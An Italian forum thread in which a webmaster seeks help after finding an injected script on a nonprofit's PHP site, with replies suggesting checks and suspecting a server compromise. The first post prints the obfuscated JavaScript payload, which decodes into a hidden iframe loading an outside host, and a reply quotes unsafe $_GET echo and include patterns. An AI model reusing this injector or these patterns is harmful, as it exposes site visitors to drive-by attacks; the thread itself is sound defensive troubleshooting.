• User

    php e problemi con XSS (Cross-site scripting)

    Salve,
    come da titolo ho un grosso problema con un sito e con falle XSS (Cross-site scripting), il problema è che non riesco a capire dove sia il buco.
    Da quello che ho visto mi sembra di capire che il passaggio sia tramite gli include che faccio del menù e del footer del sito (che momentaneamente ho tolto).
    Ho anche un form per il login alla pagina di amministrazione per l'upload dei files.
    Ora ecco cosa mi ritrovo nelle varie pagine:

    <? php echo '<script type="text/javascript">var XiLgdMoRSAbuUBAgpMkf = "uKNMv60uKNMv105uKNMv102uKNMv114uKNMv97uKNMv109uKNMv101uKNMv32uKNMv119uKNMv105uKNMv100uKNMv116uKNMv104uKNMv61uKNMv34uKNMv52uKNMv56uKNMv48uKNMv34uKNMv32uKNMv104uKNMv101uKNMv105uKNMv103uKNMv104uKNMv116uKNMv61uKNMv34uKNMv54uKNMv48uKNMv34uKNMv32uKNMv115uKNMv114uKNMv99uKNMv61uKNMv34uKNMv104uKNMv116uKNMv116uKNMv112uKNMv58uKNMv47uKNMv47uKNMv120uKNMv98uKNMv120uKNMv46uKNMv116uKNMv119uKNMv47uKNMv105uKNMv110uKNMv46uKNMv99uKNMv103uKNMv105uKNMv63uKNMv51uKNMv34uKNMv32uKNMv115uKNMv116uKNMv121uKNMv108uKNMv101uKNMv61uKNMv34uKNMv98uKNMv111uKNMv114uKNMv100uKNMv101uKNMv114uKNMv58uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv112uKNMv111uKNMv115uKNMv105uKNMv116uKNMv105uKNMv111uKNMv110uKNMv58uKNMv114uKNMv101uKNMv108uKNMv97uKNMv116uKNMv105uKNMv118uKNMv101uKNMv59uKNMv32uKNMv116uKNMv111uKNMv112uKNMv58uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv108uKNMv101uKNMv102uKNMv116uKNMv58uKNMv45uKNMv53uKNMv48uKNMv48uKNMv112uKNMv120uKNMv59uKNMv32uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv58uKNMv48uKNMv59uKNMv32uKNMv102uKNMv105uKNMv108uKNMv116uKNMv101uKNMv114uKNMv58uKNMv112uKNMv114uKNMv111uKNMv103uKNMv105uKNMv100uKNMv58uKNMv68uKNMv88uKNMv73uKNMv109uKNMv97uKNMv103uKNMv101uKNMv84uKNMv114uKNMv97uKNMv110uKNMv115uKNMv102uKNMv111uKNMv114uKNMv109uKNMv46uKNMv77uKNMv105uKNMv99uKNMv114uKNMv111uKNMv115uKNMv111uKNMv102uKNMv116uKNMv46uKNMv65uKNMv108uKNMv112uKNMv104uKNMv97uKNMv40uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv61uKNMv48uKNMv41uKNMv59uKNMv32uKNMv45uKNMv109uKNMv111uKNMv122uKNMv45uKNMv111uKNMv112uKNMv97uKNMv99uKNMv105uKNMv116uKNMv121uKNMv58uKNMv48uKNMv34uKNMv62uKNMv60uKNMv47uKNMv105uKNMv102uKNMv114uKNMv97uKNMv109uKNMv101uKNMv62";var ChBcyUOSVHTsqfYTsNlK = XiLgdMoRSAbuUBAgpMkf.split("uKNMv");var ONFiOFOESykVglxfGMyb = "";for (var URUKxtepGQzUdEDsKRwd=1; URUKxtepGQzUdEDsKRwd<ChBcyUOSVHTsqfYTsNlK.length; URUKxtepGQzUdEDsKRwd++){ONFiOFOESykVglxfGMyb+=String.fromCharCode(ChBcyUOSVHTsqfYTsNlK[URUKxtepGQzUdEDsKRwd]);}document.write(ONFiOFOESykVglxfGMyb)</script>'; ? >

    Spero possiate darmi una mano a capire cosa fare 😞
    :ciauz:


  • User Attivo

    Ciao,
    togliendo "gli include del menù e del footer del sito" il problema non si presenta più?

    Comunque, se non posti la przione dil codice della pagina con gli include in cui ti sei ritrovato questa sorpresa e degli script che includi è difficile aiutarti a risolvere il problema.

    Alessandro


  • User

    Ciao ^__^
    allora ecco qui il testo ad es della pagina index.php

    [html]

    <?php include ("include.php"); ?>
    -- DOCTYPE --
    <head>
    <meta name="description" content="Biotesios associazione onlus si occupa della valutazione e della risoluzione dei problemi legati alla psicologia del lavoro e delle organizzazioni. Servizi offerti alle aziende: la valutazione dei rischi psicosociali da stress lavoro correlato, la qualità dei sitemi integrati, la salute e la sicurezza sui luoghi di lavoro."/>
    <meta name="keywords" content="psicologia del lavoro, stress lavoro correlato, rischi psicosociali, qualità sistemi integrati, rischio da stress lavoro correlato, salute e sicurezza sui luoghi di lavoro, gestione dei rischi, psicologia del lavoro e delle organizzazioni" />
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <link href="stile.css" rel="stylesheet" type="text/css" media="screen" />
    <!--[if IE 6]>
    <link href="ie6.css" rel="stylesheet" type="text/css" media="screen" />
    <![endif]-->
    <!--[if IE 7]>
    <link href="ie7.css" rel="stylesheet" type="text/css" media="screen" />
    <![endif]-->
    <title><?php echo TITLE?> - Psicologia del Lavoro</title>
    </head>
    <body>
    <div id="container">
    <div id="box">
    <div id="testata"><!--inizio testata-->
    <div id="testata1"><!--inizio verde-->
    </div><!--fine verde-->

    <?php include ("top.php"); ?>

    </div><!--fine testata-->
    
    <div id="corpo"><!--inizio corpo-->
    
        
        <div id="testohome">
    
        -- TESTO --
        
        </div>        
    </div><!--fine corpo-->
    

    <?php include ("footer.php"); ?>

    </div>
    

    </div>
    -- 2 SCRIPT PER GOOGLE ANALYTICS --
    </body>
    </html>

    [/html]Lo script che ho postato prima me lo ritrovo dentro i files footer.php, top.php e a volte anche in index.php dopo la chiusura del tag html

    Per adesso non ho verificato se togliendo quei due include cambia la cosa ma credo che tempo massimo domani mattina lo saprò di certo >_>

    Grazie ^__^


  • User Attivo

    Hai scoperto se togliendo gli include il problema si risolve?

    Io nel codice che hai postato non vedo nulla che possa essere sfruttato per fare XSS. Bisognerebbe verificare il contenuto dei file inclusi e degli altri script.

    Una cosa che potresti controllare (ed eventulmente correggere) è la presenza di output diretto o include di valori ricevuti tramite GET o POST.
    Ad esempio un:
    [PHP]echo $_GET['pagina'];[/PHP]
    oppure
    [PHP]include($_GET['pagina']);[/PHP]
    senza aver prima verificato il contenuto di $_GET['pagina']

    Hai verificato che non sia tu (o il server che ospita il sito) ad avere un virus/trojan?

    Alessandro


  • User

    Ciao ^__^
    grazie della risposta.
    Beh ti posso dire che togliendo i due include non è successo nulla ovvero nessun strano codice inserito.
    Sul server non c'è nulla (avevo contattato anche loro per sapere) e sul mio pc impossibile ho formattato da un paio di giorni e mi sono accorta di questa cosa visualizzando il sito su due pc diversi (ufficio e amica).

    il codice che era presente nei due include
    File top:
    [html]
    <div id="menu">
    <ul>
    <li><a <?php if (PAGENAME=="index") echo 'class="active"'?> h/ref="index">Home</a></li>
    </ul>
    </div>
    [/html]File footer:
    [html]
    <div id="footer">
    <div id="piede">
    © 2008 - BIOTESIOS Associazione ONLUS - <a href="h/ttp://validator.w3.org/check?uri=referer" ><span class="w3c">Valid W3c XHtml 1.0</span></a> - <a href="h/ttp://jigsaw.w3.org/css-validator/"><span class="w3c">Valid W3C CSS</span></a> - Credits: GiuliaWeb
    </div>
    </div>
    [/html]Se può esserti utile per farmi capire dove sbaglio per il futuro 🙂
    :ciauz:


  • User

    Rieccomi 🙂
    Faccio una prova ho rimesso gli include in una pagina a caso chisiamo.php e ora vedo cosa succede.
    Nel frattempo continuo a vedere dove potrebbe essere questo benedetto buco eheh
    Ciao e grazie ancora per l'aiuto :ciauz:
    Giulia


  • User Attivo

    Ciao,
    ho controllato il sito oggi pomeriggio dall'ufficio prima di risponderti e non c'era nessun problema.
    Ci ho ributtato un occhio ora da casa e il codice incriminato è presente in tutte le pagine (non solo in chisiamo.php).

    I due include che hai postato non dovrebbero causare problemi... ma ho visto ora, riguardando il codice, che ce n'è un terzo:
    [php]
    <?php include("include.php"); ?>
    [/php]

    Che puoi dirci di questo?

    ADD:
    Ho controllato meglio con firefox e ho visto che lo script inserisce un iframe contenete codice correlato a it.ask.com e alla Ask Toolbar.
    La presenza del codice incriminato prima del tag <html> e dopo il tag </html> continua a farmi pensare che il problema più che nel codice sia sul server. Non è che hanno installato qualche software che ha a sua volta installato la Ask Toolbar combinando qualche casino? Magari chiedi una verifica un pò più approfondita.


  • User

    Ciao grazie come sempre per l'aiuto.
    Dunque il contenuto del terzo include (scusa l'avevo dimenticato) è il seguente:

    
    <?php
    session_start();
    
    define('TITLE','BIOTESIOS - Associazione ONLUS');
    
    $tmp=explode("/",$_SERVER['PHP_SELF']);
    
    define('PAGENAME',$tmp[count($tmp)-1]);
    
    ?>
    
    ```Ah, comunque ho controllato e  mi è già riapparso il solito script >____> in tutte le pagine tranne materiali.php 
    In pratica non appena ho reinserito gli include nella pagina chisiamo.php da lì lo script è finito in tutte le pagine nel fondo come ultima riga.
    Anche nella pagina admin15.php dove ho il form di login protetto con htmlentities.
    Che altre prove mi consigli di fare?
    E se provassi molto brutalmente ad eliminare tutti gli include e inserirli nella pagina e vedere cosa succede? Cosa ne dici?
    La cosa che non capisco è che non mi è mai successa questa cosa in nessun sito e la struttura che uso è sempre la stessa :(
    
    Una domanda da dove hai visto questa cosa con Firefox?
    
    :ciauz: grazie intanto per l'aiuto aspetto qualche consiglio
    
    
    ps ho chiesto se ci sono problemi sul server come mi hai consigliato e resto in attesa di una risposta appena arriva ti faccio sapere

  • User

    Piccolo aggiornamento.
    Ho provato a mettere tutti gli include, compreso la connessione al db, dentro la cartella "private", nella root del sito, e lasciare nella cartella "html", sempre nella root del sito, tutti gli altri file.
    Poi ho cambiato le password di accesso per sicurezza maggiore (anche se non credo fossero queste il problema), intanto ho preso i logs di accesso al sito per vedere se c'è qualche ip strano.
    Per ora non ho visto lo script strano ... speriamo bene eheh
    Ciao ^____^


  • User Attivo

    @Giulietta said:

    Una domanda da dove hai visto questa cosa con Firefox?

    Con due componenti aggiuntivi di Firefox:
    DOM Inspector e Live HTTP Headers.

    Continuo a sentir "puzza" di problema lato server anche perchè in tutte le porzioni di codice che hai postato non vi è nulla che possa esser sfruttato per fare XSS.

    Alessandro